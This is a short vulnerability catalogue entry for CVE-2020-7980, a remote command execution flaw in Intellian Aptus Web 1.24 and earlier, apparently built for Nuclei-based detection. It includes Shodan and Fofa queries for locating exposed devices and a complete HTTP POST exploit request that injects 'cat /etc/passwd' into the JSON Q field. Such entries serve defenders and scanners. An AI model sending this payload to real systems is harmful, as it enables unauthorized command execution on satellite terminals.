| Title | Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system. |
| Remediation | Upgrade to a patched version of Satellian Intellian Aptus Web (version > 1.24). |
| CVSS Score | 9.8 |
| EPSS Score | 0.93932 |
| CVE ID | CVE-2020-7980 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"Intellian Aptus Web"http.title:"intellian aptus web" |
| Fofa Query | title="intellian aptus web" |
| Tags | cve2020 cve intellian aptus packetstorm satellian rce intelliantech vkev vuln |
Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.
POST /cgi-bin/libagent.cgi?type=J HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 105
Content-Type: application/json
Cookie: ctr_t=0; sid=123456789
Accept-Encoding: gzip
{"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "cat /etc/passwd", "F": "EXEC_CMD"}, "V_": 1}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-7980.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-7980.pcap
N/AN/A